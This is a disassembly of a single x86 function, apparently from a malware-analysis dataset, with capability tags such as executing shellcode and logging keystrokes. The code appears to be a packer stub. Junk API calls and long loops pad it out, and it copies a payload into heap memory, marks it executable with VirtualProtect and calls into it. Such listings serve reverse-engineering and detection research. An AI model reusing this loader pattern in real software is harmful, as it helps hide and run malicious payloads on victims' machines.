Function at 0x403840
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get disk size
Get file attributes
Log keystrokes via polling
Set environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x4399f8
push eax
mov dword fs:[0], esp
sub esp, 0xc38
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
call ebx
cmp esi, 0x207142
jg 0x403886
inc esi
cmp esi, 0x67d12
jl 0x40386f
cmp dword [0x5e1294], 0x93
jne 0x4039b3
xor ebx, ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuStringA]
push ebx
push ebx
call dword [sym.imp.USER32.dll_LoadMenuA]
push ebx
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
push ebx
lea eax, [ebp - 0xc44]
push eax
push ebx
call dword [sym.imp.USER32.dll_GetKeyNameTextA]
push ebx
push ebx
lea ecx, [ebp - 0x444]
push ecx
push ebx
push ebx
call dword [sym.imp.USER32.dll_DdeQueryStringA]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuState]
xor edx, edx
lock bts dword [edx], 0
push ebx
call dword [sym.imp.KERNEL32.dll_HeapDestroy]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateHardLinkW]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesW]
mov ecx, dword [ebp - 0x10]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push 0x4031a0
mov dword [ebp - 0x30], 0xf
mov dword [ebp - 0x34], ebx
mov byte [ebp - 0x44], bl
call fcn.00404b00
add esp, 4
mov edi, eax
lea esi, [ebp - 0x44]
call fcn.00403d10
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], 0x4031b0
lea eax, [ebp - 0x10]
push eax
lea ecx, [ebp - 0x28]
call fcn.0040464c
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x28], 0x403220
call fcn.004046a8
push ebx
call fcn.00404c88
push ebx
call fcn.00404cb7
push ebx
push ebx
call fcn.00404d5f
push ebx
push ebx
call fcn.00404cc2
add esp, 0x18
call fcn.00404591
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x30], 0x10
jb 0x4039b3
mov ecx, dword [ebp - 0x44]
push ecx
call fcn.00404ccd
add esp, 4
mov eax, dword [0x5e1294]
mov edx, dword [0x43e76c]
add eax, 0x1134b
push eax
push 0
mov dword [0x5e20d0], edx
mov dword [0x5e1294], eax
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov edx, dword [0x5e1294]
lea ecx, [ebp - 0x14]
push ecx
push 0x40
push edx
push eax
mov dword [0x5e0d24], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.USER32.dll_LoadMenuW]
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
mov esi, 0x1692e
push 0
push 0
call edi
push 0
lea eax, [ebp - 0x444]
push eax
call ebx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x403a01
cmp dword [0x5e1294], esi
jbe 0x403a8b
mov edi, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov ecx, dword [0x5e20d0]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x5e0d24]
mov byte [eax + esi], dl
cmp dword [0x5e1294], 0x490
jne 0x403a82
push 0
push 0
push 0
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
lea ecx, [ebp - 0x18]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
inc esi
cmp esi, dword [0x5e1294]
jb 0x403a2f
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.USER32.dll_ChangeMenuW]
xor esi, esi
mov edx, dword [0x5e1294]
add edx, esi
cmp edx, 0x8d
jne 0x403ae1
push 0
lea eax, [ebp - 0x444]
push eax
push 0
push 0x4031c0
push 0
push 0
call edi
push 0
push 0
push 0
push 0
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
inc esi
cmp esi, 0x38681
jl 0x403a99
call fcn.004035e0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor ebx, ebx
xor esi, esi
lea esp, [esp]
call edi
cmp esi, 0x61
jne 0x403b1a
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x113e9
mov ecx, dword [ebp - 0x10]
add dword [0x5e0d24], ecx
inc esi
cmp esi, 0x674bd
jl 0x403b00
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_HeapWalk]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFree]
mov dword [ebp - 0x10], 0x7b
lea esp, [esp]
cmp dword [0x5e1294], 0x86
jne 0x403b7f
push 0
call esi
push 0
push 0
call edi
push 0
call ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
lea edx, [ebp - 0x844]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryW]
cmp dword [0x5e1294], 0xf
jne 0x403b96
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
dec dword [ebp - 0x10]
jne 0x403b40
push 0x4031c4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x5e0d24]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret